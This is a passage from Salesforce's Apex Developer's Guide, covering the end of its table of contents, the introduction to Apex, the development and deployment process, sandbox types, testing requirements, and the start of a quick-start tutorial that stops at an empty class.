RestRequest Class....................................................................................................................................................1248 RestRequest Constructors............................................................................................................................1249 RestRequest Properties................................................................................................................................1249 RestRequest Methods..................................................................................................................................1252 RestResponse Class.................................................................................................................................................1253 RestResponse Constructors.........................................................................................................................1253 RestResponse Properties..............................................................................................................................1254 RestResponse Methods................................................................................................................................1256 Schedulable Interface...............................................................................................................................................1256 Schedulable Methods...................................................................................................................................1257 SchedulableContext Interface..................................................................................................................................1257 SchedulableContext Methods......................................................................................................................1257 Schema Class...........................................................................................................................................................1258 Schema Methods.........................................................................................................................................1258 Search Class.............................................................................................................................................................1262 Search Methods...........................................................................................................................................1262 SelectOption Class..................................................................................................................................................1263 SelectOption Constructors..........................................................................................................................1264 SelectOption Methods.................................................................................................................................1265 Set Class..................................................................................................................................................................1268 Set Constructors..........................................................................................................................................1268 Set Methods.................................................................................................................................................1270 Site Class.................................................................................................................................................................1278 Site Methods................................................................................................................................................1280 sObject Class...........................................................................................................................................................1293 SObject Methods.........................................................................................................................................1294 StaticResourceCalloutMock Class...........................................................................................................................1305 StaticResourceCalloutMock Constructors...................................................................................................1305 StaticResourceCalloutMock Methods.........................................................................................................1306 String Class..............................................................................................................................................................1307 String Methods............................................................................................................................................1307 System Class............................................................................................................................................................1362 System Methods..........................................................................................................................................1363 Test Class................................................................................................................................................................1379 Test Methods...............................................................................................................................................1379 Time Class...............................................................................................................................................................1386 Time Methods.............................................................................................................................................1386 TimeZone Class......................................................................................................................................................1390 TimeZone Methods.....................................................................................................................................1390 Type Class...............................................................................................................................................................1392 Type Methods..............................................................................................................................................1394 UninstallHandler Interface......................................................................................................................................1398 UninstallHandler Methods..........................................................................................................................1399 UninstallHandler Example Implementation................................................................................................1399

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URL Class...............................................................................................................................................................1400 URL Constructors.......................................................................................................................................1401 URL Methods.............................................................................................................................................1403 UserInfo Class.........................................................................................................................................................1408 UserInfo Methods........................................................................................................................................1408 Version Class...........................................................................................................................................................1415 Version Constructors...................................................................................................................................1416 Version Methods.........................................................................................................................................1417 WebServiceMock Interface.....................................................................................................................................1418 WebServiceMock Methods.........................................................................................................................1418 XmlStreamReader Class..........................................................................................................................................1420 XmlStreamReader Constructors..................................................................................................................1420 XmlStreamReader Methods........................................................................................................................1420 XmlStreamWriter Class..........................................................................................................................................1432 XmlStreamWriter Constructors..................................................................................................................1433 XmlStreamWriter Methods.........................................................................................................................1433

Appendices.....................................................................................................................................1440 Appendix A: SOAP API and SOAP Headers for Apex.............................................................1440

ApexTestQueueItem...............................................................................................................................................1441 ApexTestResult.......................................................................................................................................................1442 compileAndTest()....................................................................................................................................................1444 CompileAndTestRequest............................................................................................................................1446 CompileAndTestResult...............................................................................................................................1446 compileClasses()......................................................................................................................................................1448 compileTriggers()....................................................................................................................................................1449 executeanonymous().................................................................................................................................................1450 ExecuteAnonymousResult...........................................................................................................................1450 runTests()................................................................................................................................................................1451 RunTestsRequest.........................................................................................................................................1452 RunTestsResult............................................................................................................................................1453 DebuggingHeader...................................................................................................................................................1456 PackageVersionHeader............................................................................................................................................1457

Appendix B: Shipping Invoice Example..................................................................................1459

Shipping Invoice Example Walk-Through.............................................................................................................1459 Shipping Invoice Example Code.............................................................................................................................1461

Appendix C: Reserved Keywords............................................................................................1469 Appendix D: Documentation Typographical Conventions.......................................................1471 Glossary.........................................................................................................................................1473 Index..............................................................................................................................................1490

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GETTING STARTED

Chapter 1
Introduction
In this chapter ... Introducing Apex What is Apex? When Should I Use Apex? How Does Apex Work? Developing Code in the Cloud What's New? Understanding Apex Core Concepts
In this chapter, youll learn about the Apex programming language, how it works, and when to use it.

Introduction

Introducing Apex

Introducing Apex
Salesforce.com has changed the way organizations do business by moving enterprise applications that were traditionally client-server-based into an on-demand, multitenant Web environment, the Force.com platform. This environment allows organizations to run and customize applications, such as Salesforce Automation and Service & Support, and build new custom applications based on particular business needs. While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects, workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(), update() or upsert(), from client-side programs. These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages grant organizations more flexibility in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform servers, they are restricted by: The performance costs of making multiple round-trips to the salesforce.com site to accomplish common business transactions The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment

To address these issues, and to revolutionize the way that developers create on-demand applications, salesforce.com introduces Force.com Apex code, the first multitenant, on-demand programming language for developers interested in building the next generation of business applications. What is Apex?more about when to use Apex, the development process, and some limitations What's new in this Apex release? Apex Quick Startdelve straight into the code and write your first Apex class and trigger

What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.

Introduction

What is Apex?

Figure 1: You can add Apex to most system events. As a language, Apex is: Integrated Apex provides built-in support for common Force.com platform idioms, including: Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException handling Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject records Looping that allows for bulk processing of multiple records at a time Locking syntax that prevents record update conflicts Custom public Force.com API calls that can be built from stored Apex methods Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex Easy to use Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax, object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write.

Introduction

When Should I Use Apex?

Data focused Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server, much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface. Rigorous Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are not deleted while required by active Apex code. Hosted Apex is interpreted, executed, and controlled entirely by the Force.com platform. Multitenant aware Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed to guard closely against runaway code, preventing them from monopolizing shared resources. Any code that violate these limits fail with easy-to-understand error messages. Automatically upgradeable Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system. Easy to test Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered, and which parts of your code could be more efficient. Salesforce.com ensures that Apex code always work as expected by executing all unit tests stored in metadata prior to any platform upgrades. Versioned You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior. Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.

When Should I Use Apex?

The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and developers to implement custom functionality. These include Apex, Visualforce, and the SOAP API.

Apex
Use Apex if you want to: Create Web services. Create email services. Perform complex validation over multiple objects. Create complex business processes that are not supported by workflow. Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object). Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from SOAP API.

Introduction

How Does Apex Work?

Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce user interface. With Visualforce you can: Build wizards and other multistep processes. Create your own custom flow control through an application. Define navigation patterns and data-specific rules for optimal, efficient application interaction.

For more information, see the Visualforce Developer's Guide.

SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes). For more information, see the SOAP API Developer's Guide.

How Does Apex Work?

All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:

Figure 2: Apex is compiled, stored, and run entirely on the Force.com platform. When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata. When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the result. The end-user observes no differences in execution time from standard platform requests.

Developing Code in the Cloud

The Apex programming language is saved and runs in the cloudthe Force.com multitenant platform. Apex is tailored for data access and data manipulation on the platform, and it enables you to add custom business logic to system events. While

Introduction

What's New?

it provides many benefits for automating business processes on the platform, it is not a general purpose programming language. As such, Apex cannot be used to: Render elements in the user interface other than error messages Change standard functionalityApex can only prevent the functionality from happening, or add additional functionality Create temporary files Spawn threads Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL) that it can perform within one process. All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you dont, you may run into the governor limits.

See Also:
Trigger and Bulk Request Best Practices

What's New?
Review the Spring 14 Release Notes to learn about new and changed Apex features in Spring 14.

Past Releases
For information about new features introduced in previous releases, see: Winter 14 Release Notes Summer 13 Release Notes Spring 13 Release Notes Winter 13 Release Notes Summer 12 Release Notes Spring 12 Release Notes Winter 12 Release Notes Summer 11 Release Notes Spring 11 Release Notes Winter 11 Release Notes Summer 10 Release Notes Spring 10 Release Notes Winter 10 Release Notes Summer 09 Release Notes Spring 09 Release Notes Winter 09 Release Notes Summer 08 Release Notes Spring 08 Release Notes Winter 08 Release Notes Summer 07 Release Notes 6

Introduction

Understanding Apex Core Concepts

Spring 07 Release Notes

Understanding Apex Core Concepts

Apex code typically contains many things that you might be familiar with from other programming languages:

Figure 3: Programming elements in Apex The section describes the basic functionality of Apex, as well as some of the core concepts.

Using Version Settings

In the Salesforce user interface you can specify a version of the Salesforce.com API against which to save your Apex class or trigger. This setting indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class or trigger name must be unique. You cannot save the same class or trigger against different versions. You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger.

For more information about using version settings with managed packages, see About Package Versions in the Salesforce online help.

Introduction

Understanding Apex Core Concepts

Naming Variables, Methods and Classes

You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.

Using Variables and Expressions

Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects. Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values later. Use the following syntax when declaring variables:
datatype variable_name [ = value];

Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.

The following are examples of variable declarations:

// The following variable has the data type of Integer with the name Count, // and has the value of 0. Integer Count = 0; // The following variable has the data type of Decimal with the name Total. Note // that no value has been assigned to it. Decimal Total; // The following variable is an account, which is also referred to as an sObject. Account MyAcct = new Account();

In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost. Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another object. However, the values of the object's fields can be changed in the method.

Using Statements
A statement is any coded instruction that performs an action. In Apex, statements must end with a semicolon and can be one of the following types: Assignment, such as assigning a value to a variable Conditional (if-else) Loops: Do-while While For Locking Data Manipulation Language (DML) Transaction Control Method Invoking Exception Handling

Introduction

Understanding Apex Core Concepts

A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement would be allowed. For example:
if (true) { System.debug(1); System.debug(2); } else { System.debug(3); System.debug(4); }

In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true) System.debug(1); else System.debug(2);

Using Collections
Apex has the following types of collections: Lists (arrays) Maps Sets

A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is important. You can have duplicate elements in a list. The first index position in a list is always 0. To create a list: Use the new keyword Use the List keyword followed by the element type contained within <> characters.

Use the following syntax for creating a list:

List <datatype> list_name [= new List<datatype>();] | [=new List<datatype>{value [, value2. . .]};] | ;

The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed, you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();

For more information, see Lists on page 30. A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can also contain more complex data types, such as sObjects. To create a set: Use the new keyword Use the Set keyword followed by the primitive data type contained within <> characters

Introduction

Understanding Apex Core Concepts

Use the following syntax for creating a set:

Set<datatype> set_name [= new Set<datatype>();] | [= new Set<datatype>{value [, value2. . .] };] | ;

The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};

For more information, see Sets on page 32. A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must be unique. To create a map: Use the new keyword Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.

Use the following syntax for creating a map:

Map<key_datatype, value_datatype> map_name [=new map<key_datatype, value_datatype>();] | [=new map<key_datatype, value_datatype> {key1_value => value1_value [, key2_value => value2_value. . .]};] | ;

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};

For more information, see Maps on page 33.

Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as follows:
if (Condition){ // Do this if the condition is true } else { // Do this if the condition is not true }

For more information, see Conditional (If-Else) Statements on page 50.

Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing again and again based on a condition. Apex supports the following types of loops: Do-while While For 10

Introduction

Understanding Apex Core Concepts

A Do-while loop checks the condition after the code has executed. A While loop checks the condition at the start, before the code executes. A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition. For more information, see Loops on page 50.

11

Chapter 2
Apex Development Process
In this chapter ... What is the Apex Development Process? Using a Developer or Sandbox Organization Learning Apex Writing Apex Using Development Environments Writing Tests Deploying Apex to a Sandbox Organization Deploying Apex to a Salesforce Production Organization Adding Apex Code to a Force.com AppExchange App
In this chapter, youll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. Youll also learn about testing and deploying Apex code.

12

Apex Development Process

What is the Apex Development Process?

What is the Apex Development Process?

We recommend the following process for developing Apex: 1. 2. 3. 4. 5. 6. Obtain a Developer Edition account. Learn more about Apex. Write your Apex. While writing Apex, you should also be writing tests. Optionally deploy your Apex to a sandbox organization and do final unit tests. Deploy your Apex to your Salesforce production organization.

In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange App package.

Using a Developer or Sandbox Organization

There are three types of organizations where you can run your Apex: A developer organization: an organization created with a Developer Edition account. A production organization: an organization that has live users accessing your data. A sandbox organization: an organization created on your production organization that is a copy of your production organization. Note: Apex triggers are available in the Trial Edition of Salesforce; however, they are disabled when you convert to any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization using one of the deployment methods. You can't develop Apex in your Salesforce production organization. Live users accessing the system while you're developing can destabilize your data or corrupt your application. Instead, you must do all your development work in either a sandbox or a Developer Edition organization. If you aren't already a member of the developer community, go to http://developer.force.com/join and follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer Edition organization. Even if you already have an Enterprise, Unlimited, or Performance Edition organization and a sandbox for creating Apex, we strongly recommends that you take advantage of the resources available in the developer community. Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

Creating a Sandbox Organization

To create or refresh a sandbox organization: 1. From Setup, click Sandboxes or Data Management > Sandboxes. 2. Click New Sandbox. 3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox. Tip: We recommend that you choose a name that: Reflects the purpose of this sandbox, such as QA. Has few characters because Salesforce automatically appends the sandbox name to usernames on user records in the sandbox environment. Names with fewer characters make sandbox logins easier to type.

13

Apex Development Process

Using a Developer or Sandbox Organization

4. Select the type of sandbox you want. Developer Sandbox Developer sandboxes are special configuration sandboxes intended for coding and testing by a single developer. Multiple users can log into a single Developer sandbox, but their primary purpose is to provide an environment in which changes under active development can be isolated until theyre ready to be shared. Just like Developer Pro sandboxes, Developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 200 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a Developer sandbox once per day. Developer Pro Sandbox Developer Pro sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a Developer Pro sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 1 GB of data. You can refresh a Developer Pro sandbox once per day. Partial Data Sandbox Partial Data sandboxes include all of your organizations metadata and add a selected amount of your production organization's data that you define using a sandbox template. A Partial Data sandbox is a Developer sandbox plus the data you define in a sandbox template. It includes the reports, dashboards, price books, products, apps, and customizations under Setup (including all of your metadata). Additionally, as defined by your sandbox template, Partial Data sandboxes can include your organization's standard and custom object records, documents, and attachments up to 5 GB of data and a maximum of 10,000 records per selected object. A Partial Data sandbox is smaller than a Full sandbox and has a shorter refresh interval. You can refresh a Partial Data sandbox every 5 days. Note: Partial Data sandboxes require a sandbox template to select the data from your organization. For more information, see Creating Sandbox Templates in the Salesforce Help.

Full Sandbox Full sandboxes copy your entire production organization and all its data, including standard and custom object records, documents, and attachments. You can refresh a Full sandbox every 29 days. Note: If you dont see a sandbox option or need licenses for more sandboxes, contact salesforce.com to order sandboxes for your organization. If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if you have two Full sandboxes but purchased only one, you cannot refresh your Full sandbox as a Full sandbox. Instead, you must choose one Full sandbox to convert to a smaller sandbox, such as a Developer Pro or a Developer sandbox, depending on which types you have available. 5. Select the data you want to include in your sandbox (you have this option for a Partial Data or Full sandbox). For a Partial Data sandbox, select the template you created to specify the data for your sandbox. If you have not created a template for this Partial Data sandbox, see Creating Sandbox Templates in the Salesforce Help. For a Full sandbox, choose how much object history, case history, and opportunity history to copy, and whether or not to copy Chatter data. Object history is the field history tracking of custom and most standard objects; case history and opportunity history serve the same purpose for cases and opportunities. You can copy from 0 to 180 days of history, in 30day increments. The default value is 0 days. Chatter data includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed up sandbox copy time. You can choose to include Template-based data for a Full sandbox. For this option, you need to have already created a sandbox template. Then you can pick the template from a list of templates youve created. For more information, see Creating Sandbox Templates in the Salesforce Help.

14

Apex Development Process

Learning Apex

6. Click Create. The process may take several minutes, hours, or even days, depending on the size and type of your organization. Tip: Try to limit changes in your production organization while the sandbox copy proceeds.

Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex: Force.com Workbook: Get Started Building Your First App in the Cloud Beginning programmers A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is, you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete, you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash Builder for Force.com. Force.com Workbook: HTML | PDF Apex Workbook Beginning programmers The Apex Workbook introduces you to the Apex programming language through a set of tutorials. Youll learn the fundamentals of Apex and how you can use it on the Force.com platform to add custom business logic through triggers, unit tests, scheduled Apex, batch Apex, REST Web services, and Visualforce controllers. Apex Workbook: HTML | PDF Developer Force Apex Page Beginning and advanced programmers The Apex page on Developer Force has links to several resources including articles about the Apex programming language. These resources provide a quick introduction to Apex and include best practices for Apex development. Force.com Cookbook Beginning and advanced programmers This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages. The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices. You can read and comment on existing recipes, or submit your own recipes, at developer.force.com/cookbook. Development Life Cycle: Enterprise Development on the Force.com Platform Architects and advanced programmers Whether you are an architect, administrator, developer, or manager, the Development Life Cycle Guide prepares you to undertake the development and release of complex applications on the Force.com platform.

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Apex Development Process

Writing Apex Using Development Environments

Training Courses Training classes are also available from salesforce.com Training & Certification. You can find a complete list of courses at the Training & Certification site. In This Book (Apex Developer's Guide) Beginning programmers should look at the following: Introducing Apex, and in particular: Documentation Conventions Core Concepts Quick Start Tutorial Classes, Objects, and Interfaces Testing Apex Understanding Execution Governors and Limits

In addition to the above, advanced programmers should look at: Trigger and Bulk Request Best Practices Advanced Apex Programming Example Understanding Apex Describe Information Asynchronous Execution (@future Annotation) Batch Apex and Apex Scheduler

Writing Apex Using Development Environments

There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesnt support debugging. These different tools are described in the next sections.

Force.com Developer Console

The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test applications in your Salesforce organization. To open the Developer Console in Salesforce user interface, click Your name > Developer Console. The Developer Console supports these tasks: Writing codeYou can add code using the source code editor. Also, you can browse packages in your organization. Compiling codeWhen you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported. DebuggingYou can view debug logs and set checkpoints that aid in debugging. TestingYou can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can inspect code coverage. Checking performanceYou can inspect debug logs to locate performance bottlenecks. SOQL queriesYou can query data in your organization and view the results using the Query Editor. Color coding and autocompleteThe source code editor uses a color scheme for easier readability of code elements and provides autocompletion for class and method names.

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Apex Development Process

Writing Tests

Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and usage. Note: The Force.com IDE is a free resource provided by salesforce.com to support its users and partners but isn't considered part of our services for purposes of the salesforce.com Master Subscription Agreement. Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production environments. For more information, see Deploying Apex on page 390 and SOAP API and SOAP Headers for Apex on page 1440.

Code Editor in the Salesforce User Interface

The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on. For a trigger on a standard object, from Setup, click Customize, click the name of the object, and click Triggers. In the Triggers detail page, click New, and then enter your code in the Body text box. For a trigger on a custom object, from Setup, click Develop > Objects, and click the name of the object. In the Triggers related list, click New, and then enter your code in the Body text box. For a class, from Setup, click Develop > Apex Classes. Click New, and then enter your code in the Body text box. Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application, or use one of the API calls to deploy it.

Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend that you use a test-driven development process, that is, test development that occurs at the same time as code development. To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest. In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true. At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage.

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Deploying Apex to a Sandbox Organization

While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests. Every trigger must have some test coverage. All classes and triggers must compile successfully.

For more information on writing tests, see Testing Apex on page 367.

Deploying Apex to a Sandbox Organization

Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce production organization. These copies are called sandboxes and are nearly identical to your Salesforce production organization. Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce production organization, and vice versa. To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE. You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization. A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of classes, or a namespace. Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement your own deployment code. Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but aren't considered part of our services for purposes of the salesforce.com Master Subscription Agreement. For more information, see Using the Force.com Migration Tool and Deploying Apex.

Deploying Apex to a Salesforce Production Organization

After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to your Salesforce production organization. To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE. Also, you can deploy Apex through change sets in the Salesforce user interface. For more information and for additional deployment options, see Deploying Apex on page 390.

Adding Apex Code to a Force.com AppExchange App

You can also include an Apex class or trigger in an app that you are creating for AppExchange. Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's

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Apex Development Process

Adding Apex Code to a Force.com AppExchange App

organization. You can specify which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must pass for the package install to succeed. In addition, salesforce.com recommends that any AppExchange package that contains Apex be a managed package. For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages, see What is a Package? in the Salesforce online help. Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels. See Custom Labels Overview in the Salesforce online help.

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Chapter 3
Apex Quick Start
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. Because Apex is very similar to Java, you may recognize much of the functionality. After reviewing the basics, you are ready to write your first Apex programa very simple class, trigger, and unit test. In addition, there is a more complex shipping invoice example that you can also walk through. This example illustrates many more features of the language. Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.

Writing Your First Apex Class and Trigger

This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components to a production organization. This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger. Creating a Custom Object Adding an Apex Class Adding an Apex Trigger Adding a Test Class Deploying Components to Production

Creating a Custom Object

Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. For more information about creating a sandbox organization, see Sandbox Overview in the Salesforce online help. To sign up for a free Developer organization, see the Developer Edition Environment Sign Up Page. In this step, you create a custom object called Book with one custom field called Price. 1. 2. 3. 4. Log into your sandbox or Developer organization. From Setup, click Create > Objects and click New Custom Object. Enter Book for the label. Enter Books for the plural label. 20

Apex Quick Start

Adding an Apex Class

5. Click Save. Ta dah! You've now created your first custom object. Now let's create a custom field. 6. In the Custom Fields & Relationships section of the Book detail page, click New. 7. Select Number for the data type and click Next. 8. Enter Price for the field label. 9. Enter 16 in the length text box. 10. Enter 2 in the decimal places text box, and click Next. 11. Click Next to accept the default values for field-level security. 12. Click Save. Youve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.

Adding an Apex Class

Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The Book custom object.

In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will be adding in the next step. 1. From Setup, click Develop > Apex Classes and click New. 2. In the class editor, enter this class definition:
public class MyHelloWorld { }

